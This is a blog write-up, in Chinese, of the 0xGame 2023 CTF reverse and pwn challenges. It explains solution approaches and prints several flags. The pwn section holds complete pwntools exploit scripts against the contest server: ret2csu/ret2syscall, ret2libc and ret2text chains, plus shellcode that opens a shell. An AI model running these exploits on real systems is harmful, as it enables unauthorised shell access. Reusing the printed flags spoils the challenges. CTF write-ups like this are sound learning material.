0xGame2023部分Reverse与Pwn

Week1

Re

数字筑基

也可以直接打开

代码金丹

还是直接打开

网络元婴

手动提一下

虚拟化神

没有输入

后半部分与文件操作有关

那就动调看v3

还有一种方法就是重启验证,下面是一般步骤

程序运行–>注册信息输入–>程序重启–>执行验证机制–>正确就显示已注册/错误则不变动

通过动调没输入,但是双击打开却要求输入得出这是重启验证

重启之前会创建config.txt

运行一次后把生成的config.txt中的0改1,再次运行就行

发现./运行和双击还是不一样

赛博天尊

一眼解方程

gpt写一下,再根据以往经验修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sympy import symbols, Eq, solve

# 定义变量
v4, v7, v8, v9, v10, v11 = symbols('v4 v7 v8 v9 v10 v11')

# 定义方程组
equations = [
Eq(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7), 0x12021DE669FC2),
Eq(v4, v9 + v10 + 2 * v10 + 2 * (v11 + v7)),
Eq(v8 + 2 * v4 + v4, 0x159BFFC17D045),
Eq(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7), 0xACE320D12501),
Eq(v8 + 2 * (v7 + v11 + v9 + 2 * v10), 0x733FFEB3A4FA),
Eq(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7, 0x1935EBA54EB28)
]

# 解方程组
solutions = solve(equations)

# 转换解为16进制
for key in solutions.keys():
solutions[key] = hex(int(solutions[key]))

# 输出16进制解
print(solutions)

输入的%16llx表示最大宽度,所以没问题

找不到的flag

假的

去隐藏文件找

ret2syscall

想直接执行syscall

且无/bin/sh,不是一般的ret2syscall

用pop|ret去搜

第一种用ret2csu打通,但较麻烦

利用csu_init后面两段

要给rbp传1

csu1表示pop rbx,csu2表示第二个函数

0x404500是虚拟地址,改成0x404600也行

把虚拟地址传给rdi,调用gets,把0x3b传给rax,rbx传0,接下来五个参数给第二段init传参,rbp传1,r12传虚拟地址后重新传给edi,0给r13再给rsi,r14同理,r15在虚拟地址+8后读入syscall(‘/bin/sh’)

这里和32位的区别是不用int 0x80,0x3b还是传给rax,但是rsi和rdx要传0,类似32位的rcx和rdx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./ret2syscall")
s=remote("8.130.35.16",51004)
elf=ELF("ret2syscall")
pop_rdi_ret=0x4012e3
csu1=0x4012DA
csu2=0x4012C0
rax=0x401196
syscall=0x4011AE
gets=elf.plt['gets']

s.sendlineafter(b"Input: \n",flat([
b"a"*0x18,
pop_rdi_ret,0x404500,
gets,
pop_rdi_ret,0x3b,rax,
csu1,0,1,0x404500,0,0,0x404508,
csu2,
]))

s.sendline(b"/bin/sh\x00"+p64(syscall))
s.interactive()

也可以用ret2libc打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#from struct import pack
from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug")
p=process('./ret2syscall')
#p=remote('8.130.35.16',51004)
elf=ELF('./ret2syscall')
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#p.recvline()
#puts_addr = u32(p.recv()[0:4])

#gdb.attach(p)
#base = int(p.recv(12),16) & 0xfffffffff000#开PIE求基址
ret_addr = 0x40101a
pop_rdi_ret = 0x4012e3
main_addr = 0x401223
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = b'a'*(16+8)+p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+p64(main_addr)
sla("Input: ",payload)
puts=get_addr()
libc = LibcSearcher('puts',puts)
base = puts - libc.dump('puts')
payload=b'a'*24+p64(ret_addr)+p64(pop_rdi_ret)+p64(base+libc.dump('str_bin_sh'))+p64(base+libc.dump('system'))
sla("Input: ",payload)
inter()

ret2text

/bin/sh传到rdi,后面执行system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from struct import pack
#from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug")
#p=process('./ret2text')
p=remote('8.130.35.16',51002)
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#p.recvline()
#puts_addr = u32(p.recv()[0:4])

#gdb.attach(p)
#base = int(p.recv(12),16) & 0xfffffffff000#开PIE求基址
bin_add=0x401298
payload=b'a'*72+p64(bin_add)
sla("Tell me sth interesting, and I will give you what you want.",payload)
inter()

ret2shellcode

7表示可读可写可执行,0LL表示偏移量,表示在目标文件描述符中的偏移量。

观察无system,无/bin/sh

传统的攻击方法不行

起始地址随机化,关闭了标准输出(1)

所以shellcode写mmap区域末尾,前⾯填充上⼀些没用的指令,比如nop,然后把输出重定向到标准错误(2)或者标准输⼊(0)即可

我这里用的0,用2打不通远程

exec表示启动新的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#p=process('./ret2shellcode')
p=remote('8.130.35.16',51003)
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

sla("code:",asm(shellcraft.sh()).rjust(0x100,b"\x90"))
sl("exec 1>&0")
inter()

Week2

Re

符文解密师

shift+f12

编译逆旅者

在线工具反编译

题目让我拿到真理的旗帜

那就直接打印flag

还可以运行pyc,学到了

码海舵师

base,密文后手传入

注册侦探

运行发现没有输入,默认没注册

动调发现直接从第二个断点跳到63行

第三个断点处是关键步骤

把src(v3)提取出来

一步异或即可

另一种方法

问gpt分析一下

可以知道程序在检测注册表项的值HKEY_CURRENT_USER\Software\0xGame\registered

如果为1则输出flag。这里我们直接创建这个注册表值并将其修改为1即可得到flag。

问gpt如何新建注册表

壳艺大师

查看字符串,看到有The0xGameKey就去看了一下

这边还有两处,觉得没啥用

OD调试发现绿色的指令是正确的字符串,要想办法goto LABEL5

伪c来看应该要去看63行的字符串,但无论IDA还是OD效果都不好

这个应该是密文,且加密过程有一步异或

再做的时候想到前面的可能是密钥,结合异或就想着去试一下循环异或

提取数据的时候要跟显示的相反,IDA在提取的时候已经帮我处理了,那就手动提一下

最后得到flag,好耶,ak第二周的re了

Pwn

ezshop

一开始钱是1000

nc一下看字符串

买得起变量加1,输入的v3将会作为数组的下标

dword要等于1

打印flag

看内存我希望dword_40e0++,变成1,那么shopping_cart的下标要变成2,也就是第三个数据,那么v3希望是3减1后下标就是2

只要买得起就行,零元购或者负数也行,这样能很快拿到flag

Week3

Re

代码启示录

旋转密码城

写脚本的时候卡了一会,一个是range忘加了,还有一个是if循环一直在i循环的外面,导致一直没输出,还是靠printf调试出来的

更快的一种方法,看到caesarplus和47

\表示转义,去掉一个就行

数字幽灵城

提取storedFlag没用

base58的表

😒😒

还得是jadx

程序会从资源中获取编码后的 flag,然后进行 BASE58 解码

和newstar week1的一道很像

看了一下ida里是没有密文的

变量迷城

解方程得到x+0xGame得到key

然后一步异或

算x让gpt写gpt解不出来

但数字114514可以爆破

算出来后也可以用cmd

虚构核心

前半部分是读入文件解密,后半部分是一次异或

密文看不到,java的看密文方法还得学一下

这里的decrypted.dex要去模拟器里找

安装运行

不能直接到根目录,要修改模拟器权限

运行之后到根目录搜索,我用的是联想,因为有root权限

雷电的在这里

根据路径去找到文件,复制到本地

https://www.zhihu.com/question/440199381

第一部分和第五部分都已知,中间三部分长度为4,在线解

https://www.cmd5.com/

1
0xGame{f5bf50a3-9988-61ee-8c00-f3eddaccb39f}

Week4

Re

二进制学徒

代码悟道者

一眼base64变表

指令神使

表面的flag

直接看字串看不到

动调的时候才能看到真正的flag

动调的时候还发现,不管输什么第22行代码都要先执行一次再回去判断,估计是这个时候对程序做了修改

在%26基础上加13,且最多是97+0x19,所以是rot13

算法祭司

第一次看到linker info飘红的,看上去是用C#写的

ida不可编译

des

问gpt说是原始key^0x66作为des的key,但是不知道为什么出不了

官方用ILSpy打开找到main方法就是java,可以看出,程序从资源中拿到 encryptedKey 然后对其 xor 0x66,之后将其分别作为 DES 算法的 IV和 KEY ,将用户的输入加密后进行 base64 编码

资源直接看,好像不能用引用的方式找到

内存星旅者

没有输入直接结束,说明要修改参数之后才能运行

v5的值是1897488的时候if返回值不为0

call 判断函数之后一步是test,之后点击寄存器,右键将rax寄存器的值改为1,进入if函数

在删除文件前打断点运行程序到这里

v7是生成的文件路径,先生成temp文件,再一步异或,再删除文件

文件路径中间空着的是我的中文名,所以可能显示不了

得到flag

1
0xGame{t"=v(r%ss}

师傅说显然不对,再看原来题目有bug

前面有异或,再异或回去


0xGame2023部分Reverse与Pwn
https://j1ya-22.github.io/2023/11/20/0xGame2023部分Reverse与Pwn/
作者
j1ya
发布于
2023年11月20日
许可协议